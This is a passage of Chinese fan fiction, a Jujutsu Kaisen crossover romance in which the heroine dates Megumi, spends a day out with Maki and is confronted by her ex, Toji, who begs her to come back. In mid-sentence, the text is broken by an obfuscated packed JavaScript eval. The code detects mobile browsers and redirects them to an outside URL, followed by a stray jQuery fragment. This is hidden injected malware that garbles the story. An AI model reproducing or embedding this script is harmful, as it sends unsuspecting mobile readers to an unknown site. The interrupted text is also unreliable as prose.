伏黑惠就不说话了。过了一会他才又问:“那五条老师和你是什么关系呢?” “虎杖和胀相是什么关系,差不多这么理解就行。”不存在的兄长增加了,小莳晃了晃脑袋,“对我们的生活没有任何影响。或者你这样想,某个游戏公司出了一款游戏a,里面有个人气角色,在这里我们称之为小莳一号。而三年后的同公司出品的游戏b里,出现了一个世界观、设定、长相都不尽相同,但是与小莳一号稍有类似的角色,我们称他为小莳二号。” 小莳概括了一下这个例子:“是的,五条悟就是二号。当然,他是续作,我才是第一个。你懂得。” 如她所言,这一点事项不对生活造成影响。五条悟的出差归来和羂索的死只是一段往事的结束,而在那之后乙骨的再次出国以及他对于咒术界高层的一些收割举动,和小莳也无关。 就像海洋的某一个风平浪静的角落边上,有乌云和旋涡,有几艘船不幸沉没,但对水下的居民来说,不过是一天又一天。而五条悟恰好被庶务缠身,没什么空闲找她交流感情,只有偶尔偶尔,他们会在不垂堂遇见彼此。 他会说自己只是梦游,而小莳不总会赶走这个假装无家可归的人。 “无量空处说它只适合冥想。” 小莳在心里冷笑,这一想,就是一辈子。攻击性太强了,他领域里风水不好。 他们有事还会顺便闲聊,在五条悟承诺不再主动摸去藏书室,只有被邀请时才会踏足后,小莳才终于愿意正视这个客人。 “对了,你和惠怎么样?” 她说一切都好。 有一些高层结局凄美地离开世界,但鉴于他们期颐之年,身上除了迂腐就是干涸的大脑,没有任何好东西随他们一并入土。一定要说的话只是病体上切除了一块囊肿,或者一块肿瘤,该病患得以延续一段时间的寿命,其他癌细胞可能会有点不开心吧,大概。在好心人夜蛾校长的庇佑下,高专所有的学生也都未被牵扯进去。 因此小莳只是和伏黑惠如常生活。 忙的只有社会人员和特级教师。 她以为五条悟要接着抱怨自己的辛勤劳动和比咖啡渍还难消除的根深蒂固的高层结节,要哀叹自己流失的青春,但他听完她随意的回答后沉默了半晌,问她:“你对这次是认真吗?” 小莳觉得五条悟这个人就是不识好歹,她当然是认真的,于是她建议五条悟不要乱指点别人谈恋爱“考虑到你年近30还没有品尝过爱情。” 五条悟说他喜欢过井上和香。 小莳不太清楚他以前有没有类似于“追过校花”的经历,但类似的经历即便存在也形同虚幻。他们插科打诨了几句,包括但不限于五条悟摆烂一样耍赖“不然你和惠分手,然后我们去结婚吧。” 都说了不要挖墙脚,而且他不是她喜欢的类型,最后她不得不猜测:“你明明对我也没这方面兴趣,是有什么和惠相关的隐情吗?” 拐弯抹角不失为一种手段,五条悟用起来过分得心应手,有时小莳也看不清楚他在那之后的深意。她觉得他大概想说什么,关于伏黑惠,只是不便开口。 上一次看到这集还是在情侣双方是兄妹的情况下。 她可以确定伏黑甚尔不是她父亲,和赤司家也不存在任何瓜葛。不存在血缘伦理上的困境。也就是说,小莳的想象力遇到了阻碍,她没有头绪。最后五条悟留下一句轻飘飘的“反正我是站在小莳这边的,如果小惠做了什么对不起你的事情我就是你的娘家人哒!”就以工作繁忙为由离开歇脚地。 自从她在虎杖的考核中大闹一场还把考官给镇压之后,她在咒术界的名声也算打响,网上的视频在当天就被清理,但在数字时代,这些皆有迹可循。信息随着各式流言散播飞快,如预期,再没什么不长眼的家伙来她这赚钱。 小莳又可以光明正大上街。她不总和高专的学生一起聚会,大部分时候只和男友逛街、探店,偶尔还带他回并盛。 这一学期直到三月底结束,小莳没打算再回私立百花王学园上学,听奈亚说班级里又来一位转校生,她又把西洞院百合子的局破了。 如破。 那个女孩叫蛇喰梦子。 因为这次学生会长来了,阻止本就不富裕的西洞院百合子再次翻车。赌局总有输赢,与之相对的:新来的转学生,一不小心变成了家畜。真是危机四伏的学校,感觉不如咒术高专和并盛。 伏黑惠问她是否只是不愿意上学,她说:“我有抑郁症。” 某一次任务完成后,他和小莳说起了近期姐姐津美纪的情况:身体已经完全恢复,随时准备上学。她觉得伏黑津美纪真是个好姑娘,没有一点厌学情绪。 他又说了两句才问:“我和津美纪说交往的事情了,她对你有些好奇。小莳,我带你去见见她好吗?” 小莳此时在商店里挑选给野蔷薇和纱织的饰品,她们的关系一直还不错,闻言手都没抖一下,她冷静地婉拒了男友:“我觉得时机还不够成熟。你姐姐大概不会觉得我们在一起是很好的事情。” 好姑娘归好姑娘,但没有好姑娘会觉得家人和黑手党掺和在一起是喜庆的。从伏黑惠的描述里小莳推测津美纪应该是和奈奈差不多的温柔关怀女性,但她少了一点天然,或许敏锐居多。 完全不讨厌这种类型的人,但真实交往起来还得谨慎。 伏黑惠没想到会被拒绝,他询问小莳是否有什么顾虑:“为什么?小莳你……很好。” 她给男友出了一道情景模拟:“你是一个不喜欢姐姐是不良少女的清纯男高中生,父母双亡,你们相依为命。在一次车祸昏迷后,世界往后推了一年。你的清醒让姐姐感动的掉泪,随即她为你重磅推出一款姐夫。他是来自意大利的外国人,身份是家系渊源长久的Mafia集团关系人物,他们都不觉得自己会死掉,但Mafia的世界就如潮水涨落,总有新的人进来,总有旧的人不明不白消失。此时你会: a欣然接受此人为自己的姐夫,问他们什么时候结婚; b抱着他的腿求他放过你姐姐,你姐姐只是一个曾经误入歧途喜欢和人打架的少女,还没做好准备进入真正的社会暗面,你希望长姐有着正常人一般的人生,享受人类应有的喜悦与家庭的温暖; c让你的姐姐赶紧和这个来路不明身份可疑的家伙分手,前面可是杀猪盘啊。 d不管了,睡大觉。” 她挑选好了礼物,拉着他的手去结账的队伍里排队。 伏黑惠:“……你说得对。”津美纪还不喜欢他和不良少年打架,而小莳可是货真价实的杀手。他们注定是主流之外的存在。 “抱歉,是我考虑不周。” 小莳逐渐发现了男友拘谨状态下的可爱,她凑过去亲吻他的嘴角:“没什么,这不是值得一提的事情,过会我想去diy一个手机壳,野蔷薇的就是她上次和纱织一起做的,我觉得奶油胶和配件很可爱,正好并盛也开了一家,你陪我去嘛。” 伏黑惠自然答应。 在路上他们还遇见了买菜回家的奈奈:“哎呀,这不是小莳和惠君吗,今天放学这么早吗?” 与伏黑惠瞬间慌乱的状态完全相反,小莳冷静松开他的手,解释:“妈妈,今天社团活动取消,我和惠君去图书馆学习。正好夏油科长今天去东京,把我们捎回来了。” 漏洞百出的说辞在泽田奈奈的眼中没有任何值得怀疑的地方,她听起来很开心:“那今晚回家吃饭吗?我做黄油虾,惠君也可以一起来。” 小莳和奈奈约好了吃饭的时间,才分别【去图书馆】。 “奈奈一直比较好骗,所以不必慌张。杰是我在外打工两年的上司,对我颇为关照,捎我们一程也很合理,对吧。”她摊手。 “……”女友更小的时候绝对是过家家游戏爱好者。 他们接下来也确实遇到了夏油杰,在小莳目标的手工店。他带着两个娃来这里做羊毛毡。他在尴尬又不失礼貌的微笑下,得到了小莳的赞美:“并盛好父亲。” 可夏油杰一点也不想得到这种美言。 小莳预定了一个小包间,她笑着和朋友以及两位女孩告别,拉着男友的手进去,在他们的三双眼下关了门。她趴在伏黑惠肩膀上呵呵呵笑了几分钟,然后祝他们摸鱼顺利。 她做好自己的手机壳后,热情询问男友需不需要她爱的帮助,被拒绝也不丧气,笑眯眯看着他,这样的约会总是令她心情愉快。 伏黑惠这样被盯着,脸上逐渐染了薄红,稍一失手错画了一笔:“你不要这样盯着我,小莳。” 她偏就爱逗弄他,当然不会错失良机,凑过去撩开他硬硬的头发,贴在男友耳边说:“害得你都画错了?都怪我都怪我,我给你道歉。对不起嘛惠惠~” 他愈发没办法招架,红着脸否认:“我没有这个意思。” 她可怜兮兮充耳不闻地说:“都是我不好嘛,今晚给你赔罪,好不好?”还往他耳朵里吹气,嘴唇一张一合,蹭过他的耳垂。 他沉默,却一咕噜坐远了。这是很明显的害羞的姿态。 伏黑惠在晚上是另一副样貌,热烈的亲吻,缠绵悱恻的厮磨,迷恋坦诚的话语,最后在浴室潮湿的水汽中,他的脸也模糊起来,但眼睛里的温柔和炽热交织仍然让小莳依恋难耐。于是往往他们又进入加时环节。 他是极好的男友。 就是在这种时候小莳一个翻身跨到他身上,问他:“你有做过什么对不起我的事吗?可以坦白哦?” 伏黑惠说没有。 她也就把这件事抛在脑后,毕竟,无凭无据设想糟糕的事情是庸人自扰之举。 万物苏生的季节里疾病也会抬头,诅咒亦如是,即使是学生们也从冬日的状态中调整回来。在五条悟的温良举措下,一年级的最后一位四级也跨入一级咒术师的门槛,也就是说他们都具备了独自任务的资格,禅院真希的考试持续延期,但高层也与之对应做出了让步,她现在是二级。 小莳觉得这是由于禅院直毗人和五条家关系一直糟糕,而他恰好也不是应当被除去的【敌人】。正相反,他的术式恰巧还是强大且不被迂腐人士看中的新潮类型--投射咒法,而且本人也较为开明。 只是可怜了真希。 她一是离家出走,即便开明之人也没必要过多考虑,更何况这倒也算得上是一种考验;二是……禅院直毗人真的很讨厌五条家的所有人。 又一次连带伤害。真希就在暧昧不清的拉扯里迟迟不定级,二级只是任务可选择范围多些,酬金远不如一级。简单来说就像是临时工没有绩效分配,写在公司规章里明晃晃的规定,也没人置喙。 于是她反而成了高专里的闲人,小莳在高专的时候越来越少,但只要她在,真希总得拉着她切磋。说是如此,小莳其实清楚自己的体术水平在什么段位,真希只是比较温柔的换了给人自尊的说法。 某天的训练后,小莳急于转移真希的注意力--她的休息时间往往只有五分钟,在那之后又是一轮新的打击。她从不否认这是卓有成效的练习,但不想就是不想。 “我们出去吃点东西吧,就我们两个,约会,我请客!” 对她故意选择的奇怪词汇免疫,真希揪着小莳的衣服将她拽起来,“又想偷懒了?” “不,仰慕真希前辈许久,此生只愿和您吃上一顿。” “真要算年龄的话你比我还大一岁吧,喂小莳你还真是没点年长者的样子。” 小莳就这她的手倒下:“面子哪有吃饭重要,求你了,别呆在高专了大小姐。我们去东京吃高档餐厅。” 看似下午四点,实则抵达市区就是晚餐时间,小莳选择了正确的时间出发,并为此得意。 不能多练一分钟。 在吃饭时她给伏黑惠发了消息,告知去向,晚点回高专。 晚餐后她们还在商场逛了一圈,余额一长串的小莳随手买了几件合适的衣服,还帮女伴挑了一件春装。 “你最近和妹妹关系怎样?” 小莳甚至还没有见过禅院真依,上次她跟着来东京的时候小莳跟五条悟去袚除了一个特级,那几天都没怎么再出门。 她问起这个问题让真希有点迷惑,但她照实回答:“也就那样,我们不聊天。” 小莳觉得不应该:“你们不是双子吗?”关系怎么这么冷漠。 禅院真希说离家出走后妹妹就和她彻底决裂了。“她希望我能和她一起留下,但我没有咒力和术式,在那里过得不开心。” 确实,禅院家对天与咒缚的态度一向糟糕。但听闻这对双子体内各留了一点对方的东西,因此两人一个非完全体咒缚体质,另一个咒力不多。即便是咒术师,也算不上未来可期。 “你怎么不带她一起走呢?现在东京的美少女可好找出路了。”小莳给真希讲了上次去居酒屋一个服务生打工供养四个义妹上大学的事情,“你可以找个这样的奴隶,然后胁迫他打工。你们三个人把日子过好比什么都重要。” “……”收养义妹的男人是什么心思她不愿意多猜,但是小莳的想法也太危险了,她一脸黑线:“我是什么魔鬼吗?!” “不,只是想说明普通人里没有你的对手,离开禅院家你们也都会活得很好。你真的可以撺掇她离家出走。” 撺掇不是什么好词吧……真希白了小莳一眼,她算是明白了,眼前的姑娘没在咒术师的背景下长大,因此也不觉得自己的咒力充沛和天赋是值得仰视的事情。“她是咒术师,离开禅院家就很难立足了……那里至少是咒术师的聚集地。她有术式,有咒力,不至于和我一样。” 小莳却笑她不懂人心:“你们两个只要俱存,就要收到彼此的牵制。你走了之后对你的怨气可都会冲真依去哦?而且……这种情况下她都没考虑把你做掉,你真的没有感觉到来自妹妹深深的爱意吗?听野蔷薇说真依不是什么很有善心的大好人,她们似乎关系不太好的样子。” 人鱼的童话里她放弃尖刀而变成泡沫是为了追求灵魂的不灭,咒术师可没这些讲究,如果干掉谁就可解诅咒……小莳觉得野蔷薇和真希都错得离谱,只有自己掌握了正确答案。 真希不想在这个话题上多聊,转而说起了自己的梦想:“不说这些,前几天老头子还问我要不要回禅院家,我拒绝了。我还没得到想要的东西,怎么可能回去。” “哦,他的意思是你回去就有一级了。”禅院直毗人,没见过面但是能感觉到是个爱面子的老人家,“最近他和悟打得火热,可能是想让你给他个台阶下,不然你就一直得是城门失火殃及池鱼。嘻嘻。” 给台阶也是相互的,如果真希结束离家出走状态,他作为家主当然可以以帮自己人的名义重新准备考核。而如果她只是五条悟的学生--放纵了老师在高层胡作非为只手遮天,放走了容器晋升一级,那无论如何也不能放过最后的非一级。不然显得他们禅院家只能一怒之下怒了一下,很没面子。 打得火热也不是这么用的……真希又侧目看了她一眼,没好气说:“这种事情我不如你,一眼就能看出门道,但在我能靠自己得到一切之前,我是不会回去的。我有一个梦想--” 小莳抱着她的腰,在人流量不大的街道上扭来扭去,抢答:“我知道!你要做禅院家家主!” 说完后腰上挨了不轻的一下,小莳痛乎:“你怎么可以这样,真希,说好了你以后坐上家主之位要偷禅院直毗人的钱养我的!” “闭嘴!那只是在老头子面前提振士气用的说法,用得着用不着你整天挂在嘴上!而且怎么看以后坐上家主的都会是他儿子吧!还有我什么时候说要养你的。” “家~主~大~人。”小莳愈发不肯撒手,在大街上用甜腻的语气说起丢人的话,在真希彻底暴走前恢复正常:“不,投射咒法没那么强,感觉不如十影。我赌十块,最后是惠。看起来你口中的老头子还挺能活,而惠两年内就会是特级了。” 托五条悟的福,咒术界现在正是大扫除的时候,过两年刚好要重新分配,这些老牌家族下注博弈的手段也是老牌的,必不可能放过自家血脉的天赋达人。 真希幽幽开口:“你是真不相信我能做上家主,开口就给男朋友买股,对他这么有自信吗?” 小莳给她出馊主意:“只要你现在去京都,把他们杀个片甲不留,惠现在还姓伏黑,你看,你这不就成家主了。” 豆沙笑话永不过时。 太潮了,禅院真希有点受不了:“我没那么疯。”再这么开玩笑聊下去她迟早被带到精神不正常,小莳是真不在乎京都姓禅院百余人的死活。 真希讲起了自己的职业生涯规划。虎杖的身体素质已经和她不相上下,又由于是宿傩的容器,身负强大咒力。她觉得作为天与咒缚者,自己身上除了因为双生而带走的一块,应该还有什么可以挖掘的。她说起涩谷那天在陀艮的领域里突然闯进的人。 是小莳没听说过的故事,“他们都没和我说起过这件事,他抢走了你的5个亿?还把惠一脚踹飞了?”真是稀奇,游云之所以是特级咒具,就是因为它能发挥出使用者最大的体能优势,放在真希手上正合适,所以悟才把它给她。有一个能徒手掰断游云并且削尖的家伙,她还真是没办法想象。 “坏了,这世界还真是危机四伏。后来悟有找你赔钱吗?” 真希和小莳相处,已经稍微学会了和笨蛋老师那一套--在适当的时候无视他们说的话,保证不被打乱,她继续说:“老头好像认识他,但他不告诉我那是谁。” “太过分了,你让惠惠去问他,保证他马上就一五一十坦白!”小莳跟着她的节奏走,谴责当代酒鬼家主。 “你们小情侣真是够了……惠是你的万用砖头吗?”哪里需要往哪里搬。 “我认真的呀。”小莳委屈,“禅院直毗人超爱,上次我有建议惠和他要历代十影的相关记录,禅院家肯定有相关的笔记,毕竟是家传术式。五条家就有很多六眼无下限的典籍,在他上高专之前就任悟翻阅了。” “然后呢?这种东西都是保密级别很高的,哪有你说的容易。” 小莳冲她摇头:“办法总比困难多,加上好友的第二天pdf文档就传到惠手机上了。几十兆呢,分类好的,甚至做好了注释。” 大家族的人永不做舔狗完全是中层以下的思想误区,真希即使经历世态炎凉,在这方面也和惠一样生涩,而五条悟对此没有任何心得,他从小就被人双手奉上一切,也没意识到这是可以主动讨要的东西。 实际上这就和在麦当劳多要一包番茄酱一样简单,只要找到的是正确的店员--别找主管。 真希的眼镜滑下了鼻梁,大为吃惊:“……怎么做到的?有定下什么不平等条约吗?” 小莳叉腰:“足矣媲美六眼无下限的才能,能让禅院家再次伟大的天赋……殚精竭虑的家主十年以来第一次被未来之星主动联络,就算是天上的月亮也势必要为他摘下来。这很难理解吗?暗恋十年的男生突然联系你去参加同学聚会,无论多大困难都要克服吧?” 随口举的例子不足以让真希共情:“没暗恋过。” “那就真依突然发烧了,联系你照顾她。” 这下真希表情有些不自然,但她没停顿:“她没事吧,多喝热水,是什么阴谋吗?京都校的同学人还不错,比如三轮……” 小莳冲她竖起大拇指:“真女人,不愧是五条悟的学生。” “你指哪方面?” 29岁单身那方面。她没说出口,搂着女伴的胳膊小鸟依人,虚弱:“真希我累了,帮我拎东西。奈亚今天不在,回并盛做饭去了。”一不小心买多了,拿不了一点。 “……” 真希很不满到最后又变成自己一个人拎东西,还几乎全是小莳的东西。但总归是愉快的一天。 小莳对真希说的男友两年内能评定为特级,其实还是保守到不能再保守的估计。咒术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413148|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师的实力有八成天生,毋庸置疑伏黑惠的天赋在顶尖水平,其次他还是五条悟的学生,虽然小莳认为他差点悟性,但总归不是什么难以弥补的缺口,他老师会多费心的,最后……只要他有相应的实力,不需要谁一声令下,亟需在总监部能和五条家争一争话语权的恰好姓禅院的人就会把特级的名头奉上。 家传术式的影响力好坏参半,但在小莳看来,它能提供的便利远远优先于所带来的负累。 听说胀相已经被加茂家偷偷接纳了,但他的亲情只对虎杖和其他没出生的6个弟弟开放,也许加茂在虎杖的晋级上也有些助力。 有一种过年应酬不送礼,给对面的小孩发红包的既视感。 真是个好哥哥! 生活一直轻松惬意。有天五条悟在深夜给他发来学生调伏贯牛实录:咒灵和式神并不被镜头记录,画面里只有男友在仿佛进行无实物表演。看上去滑稽有病。 小莳在第二天早上才看到,在视频一个小时以后还有五条悟的最新消息。 五条悟:你就睡吧 五条悟:家也不回孩子也不看。 那时是夜深人静的四点,她要是没睡那才是稀奇。看样子是调服成功,小莳退了出去,看其他消息,并没有来自男友的。他最后的一条还停留在昨晚的晚安,在那之前他们聊了下次约会的餐厅,最近他们谈话的内容完全不涉及咒术。 今天是工作日,小莳得像失业的人一样假装要出门,不过她是上学,她和奈奈打了招呼,说去学校吃早餐……然后去了失业人群聚集地,麦当劳。 她点了一份枫糖松饼汉堡,松软美味,猪肉咸甜,配上薯饼简直是人间美味。可惜早上不供应奶昔,哎。说到这里,好像所有的麦当劳都不在早上供应奶昔。小莳曾经和哲也扬言要让征十郎买下金拱门,然后24小时所有门店都有草莓和香草奶昔售卖,这个愿望看起来遥遥无期。 来自暗网的日常生活危机解除,她的马甲也可以回收了,小莳打算就在今天让二宝妈搬离并盛,去东京打拼。至于注册诅咒师的马甲不必管她,目标已经达成,钱她暂时也懒得转出来,姑且放在账户里,久不出现最多别人也只是以为退网了,无人在意。 她在早餐时分问候了晚上带学生的五条老师,得到了他的秒回质问:小莳,你也管管小惠,现在属你最闲。 她觉得到也未必。 领导同事在天堂:真希比我闲,我忙着吃早饭呢。今天,有一位两个孩子的母亲即将离开并盛,让我们祝福她在东京三年打拼出一套别墅。 辅导孩子作业老得快,还影响感情。有最强把关,她很放心。作为女友在差不多的时候说点鼓励的话就行。 五条悟:你就打算什么也不做吗? 领导同事在天堂:我这不是建议他搞来了关于十影的笔记,感觉惠和以前的家主会有更多共同语言。至于其他就慢慢来嘛。 五条悟有点等不及了,他说咒术界最近缺人,小莳得为此负责。 咒术界全年缺人,小莳建议他改革一下高专,扩大招生范围,学制再降一年,这样学生们就可以更早的被压--走出社会,实践自我。 五条悟:而你,我的朋友,是真正的魔鬼。 她离开麦当劳,低着头和朋友有一搭没一搭在手机上聊着,当话题进行到她承诺会帮忙处理一些难题后,她再次撞到人。 按理说不应该,她一直沿着街走,想走去并盛丘陵上的神社,然后通过那里的入口去风纪集团串门,沿路根本没什么人。谁家好人工作日不上班去神社? 撞到的人体型结实,反倒是小莳后退了两步,还被对方好心拉住。 “一直低头不看路可不行啊,女士。上次见到你的时候也是如此。” 小莳抬头的时候眼里还有没来得及收回的笑意。一个平静的早晨就在她遇见伏黑甚尔的时候结束。 她下意识抽回手,往自己脸上贴,到一半的时候停下,才想起来这会自己是幻形后的样貌,问题不大。 上次觉得自己一双手无处安放的时候已经记不清是什么场景了,或许是赤司家的晚宴,或许是某个案件现场。小莳尽可能快地回过神,强压下心中的异样,和眼前的人道了谢:“这位先生,谢谢你。我以后会注意的。” 开口的声音是和缓温柔,她模仿并盛的主妇们十成有八成像,总之和她先前懒洋洋又不在意的语调完全不一样。 小莳想从左边越过他,却被伸手拦下:“仅仅是这样就分别也太可惜,在并盛的街头接连碰面两次实属不可多得的缘分,请允许我帮您买一杯咖啡。或许我们能够在落座后慢慢了解彼此。” 这就大可不必了。 在分手不到半年后,换了个马甲被前男友搭讪是什么体验?小莳忙不迭摇头:“抱歉先生,今早忘记给孩子做便当了,过会要去菜场买菜。” 见识了一把伏黑甚尔的搭讪技巧,她不得不承认这份自来熟的功力还有不被人讨厌的话术值得尊敬,但她现在只想离开。二宝妈身份在退休之前再一次派上用场,她念叨着:“如果悟吃不到心心念念的黄油土豆就会殴打学校里的其他孩子。” 她没有刻意去回避前男友,aka男友父亲这会出现在她面前这件事,因此脑袋里被各种各样的想法塞得水泄不通。伏黑甚尔回到这个世界多久了,他怎么会出现在并盛……以及,小莳祈祷他别注意到自己的前女友恰好也在这个世界。 虽然她前段时间一不小心高调了一把。 小莳再次绕过挡在面前的健硕男人,这次她成功走到了他背后,二宝妈的身份真好用,尤其带的还是男宝。一下就把人唬住了,她高兴了几秒钟,随后被揽着腰扯入旁边的小巷。 他的动作太快了,她无暇反应,等意识到局面的时候,已经被伏黑甚尔钳制在狭窄的小巷墙上--他单手扶着墙,身体就在她前方不容一人通过的小小空间外,而他低着头,看她。西装外套里露出一件单薄的衬衫,他身上散发着一丝咖啡的苦香。 好好好,你用我送你的同款香水搭讪别的拟人,我和你儿子在一起了,我们都有光明的未来。小莳偏过头去艰难地呼吸:“我们认识吗?我虽独身,在此也住多年。常言道……” 感谢前男友在变换了面貌后还能一眼挑中她,或许是与生俱来的富婆怨种气质一瞬间把他吸引。他们之间大概有一种小白脸和金主之间的致命饭张力。 但是婉拒了。 “不是这个。”他低下头凑近问她:“你什么时候有了个29岁的孩子?之前还说不想生小孩的。” 她什么时候……小莳在伏黑甚尔噙着笑意逼近的脸前瞠目,是有那么一次,在灰原哀离开公寓去冲矢昴那边时。 这意味着她现在的伪装形同虚设,她还想挣扎一下:“这位先生,我不知道你在说什么。” 伏黑甚尔将她交叠在胸前的双腕拢在自已左手,右手帮她理了一下刘海,他将散乱的头发梳到耳后,又自然捏了下她的耳垂,俯身与她说:“别挣扎。我认出你了,小莳。” 他的敏锐在不该作用的时候生效了。 死不承认是穷途末路的无奈之举,其余时候则没品,她还没到那个地步,于是推开身前的人,只是不曾卸下伪装。小莳下了劲仍然没推动,清晰地叹息,而后问他:“你是什么时候发现的?” 她不傻,大概在上一次并盛的相撞时他就开始留意……如果是伏黑甚尔的话,他不会没注意到前面有个人还故意冲上去,多半是故意。 伏黑甚尔并没有回答她,也没有和她解释相关的内容。开口只有挑拨之言:“你看起来很惊讶,第一次听说我吗?也不稀奇,看来他们都在瞒着你。” 小莳因他的话而愣神半刻,谁在瞒着她? 他的右手捂住小莳想发声的双唇,然后凑过来,将双唇贴在手背上,两人的距离只有一只手掌之隔,伏黑甚尔的声音很轻,比他以往说话都更有蛊惑性,他说:“听我说,之前的事情是我不好,我不应该和克丽丝·温亚德有牵扯。但我们之间只是,她提供资金,我帮她做事,仅此而已。她是个杀手。” “小莳,在认识你以后就再没有别人了,只有你。交往的对象也好,爱的人也好,只有你。” “全都是我的错,我不应该和她联系,不应该当做什么都没发生,不应该隐瞒你,全都是我的错。小莳,我爱你,我想再次在你身边,我会为你做任何事,我离不开你。” 最后,他在隔着自己的手背给了一脸惊愕的她一个免于触碰的吻,却直击她大脑:“对不起。” 在影视作品和戏剧当中,反转是观众最喜闻乐见的情节之一:譬如你以为对象背叛了你,其实他只是得了癌症,最后只要医院说明一下这个病情说明是发错了,就会皆大欢喜。或者于多年后的一天,你偶遇属于他的那座坟,得知事件的真相,黯然伤神。 而这起事件则更为复杂,剥离开看,小莳的理智在此时此刻固守岗位,她可以在漂亮话地下找到数种反驳:她选择分手才不只是因为贝尔摩得,去年的去年,甚至在他们交往一个月的时候此事就初现端倪,真正让她意识到则是在京都的三月:无论在何种情况下,她都不会爱上一个不能给她回应的浪子,而他也许以前有过短暂的爱,但在那失去以后他就再也不懂爱为何物了。小莳必须让自己免于和这样的人有过深的纠葛。 这个理由淹没在他对她的恩义之中,她彼时没有选择表露出来,现在来说也太晚。 其次是去年底分手的直接原因,小莳可以以“在那之后我们又见过一次,可你在她的车上”为理由,简单粗暴的驳斥伏黑甚尔所说的一切,她可以谎称自己受了很多伤,下定决心再也不会让他在自己的世界里有一席之地。 可事实也并非如此。 就算在她以为自己是被背叛时,小莳也没有怨恨过伏黑甚尔。她早就有所准备的,她早就知道他是一个会离开会有下一个的男人,在她第一次拒绝时她就清楚的知道,而他后来也一直没有变。夏油杰在有一次和她说起季节论的时候说起,他有阵子觉得自己的人生一直在那个苦夏。用在这里……伏黑甚尔的时间大概也一直停留在他第一任妻子离去之时。 他不爱上自己,而去像以前一样追逐内心的躁动实在是平常不过。 而这一切……小莳也有责任。她在医院里冲动应允了一段关系,在她什么都知道的情况下还如此武断,这是一场迎面不大的赌局,输掉了也不稀奇,及时止损便好。到处找人哭诉下错了注、跟错了人,只是徒显愚蠢,且有推脱之嫌。 小莳心乱如麻。 不仅是因为他现在亲口吐露的爱,和她心里确有此事的一些悸动--人非草木,前任隔几个月突然回头说他爱,说他悔,说他不应该,不说感动至少会感觉挺爽的。 但现在她则是被一个巨大的现实淹没。她和伏黑惠在一起了。 五条悟前些日子偶尔的欲言又止和奇怪的话,伏黑惠总是因为她的前任不安,到目前为止,现在都有了答案。 他们都知道……夏油杰必然也知道,但他们中的任何一个什么都没说。 她的朋友们,什么都没有和她说。 把与当下无关的信息全部驱赶到脑后,小莳闭了闭眼,张嘴,伏黑甚尔识趣拿开手。她没看他,只说:“忘了吧,一切都结束了。” 对于这位前任她有很多看法,但她不打算一一宣之于口,没有必要,没有意义,也没有说明的欲望。 伏黑甚尔当然不会就此放她离开,他甚至没有松开手。 他又对他说了很多话,这些话有些进入了她的脑袋,有些就这像水龙头的流水一样消失在下水道,她心不在焉,他想必也能看出来。 “你就那么喜欢那小子?”他说这句话的时候语调压抑,而小莳因此给了反应,让他似乎心情更糟--伏黑甚尔力气很大,她手被捏着。 小莳想的是,关于我的新恋爱这你也知道啊……她陷入了一种深深的伦理困境。她一直在避免的问题,在她原本以为可以信赖的朋友有意蒙蔽之下,脱离了她微不足道的最佳设想,以一种糟糕的方式呈现在面前。 她在这方面运气似乎总是不佳,去年三月也是,现在也是,早知道就听征十郎的不要早恋了。 小莳对东京的一切都产生了些许厌弃情绪。 伏黑甚尔贴着她的耳朵,向她说着涩谷那晚发生的事情--夺走游云的就是他,降灵术的失控,他的自戕,又在眨眼间归来,伏黑惠和五条悟目睹了一切。 他说的是贬低的话,论据却句句真实:“五条悟不可信,你的男友也不真诚。他从一开始就什么都知道,小莳,他在骗你。” 欺骗乃人之常情,小莳并不介意欺骗本身。只是这件事情影响甚远,如果在开始她就明白这一切,也许……她和伏黑甚尔的深入交往已经是错误一场,没想到和伏黑惠亦是如此。那天她把自己的手放在他的手上说“你也是有女朋友的人了”,那天宿舍楼惨白灯光下她冲下楼梯的那个吻,她的记忆优越,往事历历在目,抵赖不得。 可本能比理智更先占领她,小莳生出了想要逃避一切的念头。 这对她来说罕见,但发生了这样的事情,有此类想法也不过是件顺理成章的事情。 “够了,别说了,我不想听了。” 伏黑甚尔选择更进一步,他和他带来的紧张气氛一同拥抱着小莳,她几乎要被紧迫感吞噬。他在她的记忆中总是沉默寡言又闷不吭声,表达欲像进入沙地里的水一样--即使有,也会迅速流泻排干,小莳勉强试图在如今他野心勃勃又压抑的面貌中寻找曾经自己朝夕相处过的脸。 他说他在打听到她的消息后便去看了上学的人偶,他说他知道那不是她,因为人偶无机质的眼神里没有一丝光彩,在那之后他冷静了一段时间,前些日子却发现她已经有了新的男友,他说:“我希望你回来,他的话,如果你喜欢我也不介意。” 她没仔细思考伏黑甚尔露骨话中的意思,她努力了一会儿,在混乱的思绪里什么也没有找到,除了雾的空虚,至少在这一时刻,她失去了关于这一切的感知。 小莳只是,什么也感觉不到,她遗忘了恋爱的一切缠绵悱恻,也回想不起来有关于【相爱】的任何事情。 她也化作一阵烟雾消失了。 81. 第 81 章 小莳统共也就在路上耽搁了十来分钟,手机上的消息提示已经十几条,而它们几乎都来源于一个人,五条悟。她脱身后来到了泽田家附近,仍然是幻形的样貌--她没有忘记自己本来应该做的事情。 新结识的年轻朋友的突然出现并不让泽田奈奈感到不妙,她只是很关切地问她需不需要喝一杯热茶,小莳跟随她进了家门,她原先选择不在上午来的原因--泽田家光,此时正在沙发上看报纸。 小莳无暇顾及这个男人,啜饮一口茶水后,她缓缓道来了此番前来的理由,是道别。“我打算去东京谋生,有家公司满意我的简历,只是这段时间缺人,需要尽快入职。我还没来得及和你还有凪分享这个好消息。太匆忙了。” 小莳的憔悴溢于言表,节目效果因为先前的偶遇直接拉满,奈奈根本舍不得多问,只关照她让她不能因为准备工作和小孩操坏了心,以后做了职业女性更要注意身体。 基本不工作的小莳听到这话也感动了,真是个好人啊奈奈,感觉糟糕的心情都有点被治愈,她说了未来有空再一起喝茶,又和奈奈依依不舍道别几句,然后离开。 她走了两步,然后回头:“有事?” 门外顾问的隐蔽能力远超过这个水平,他特意穿着拖鞋在她身后跟着发出啪嗒啪嗒的声音,明显不仅是想跟着她。 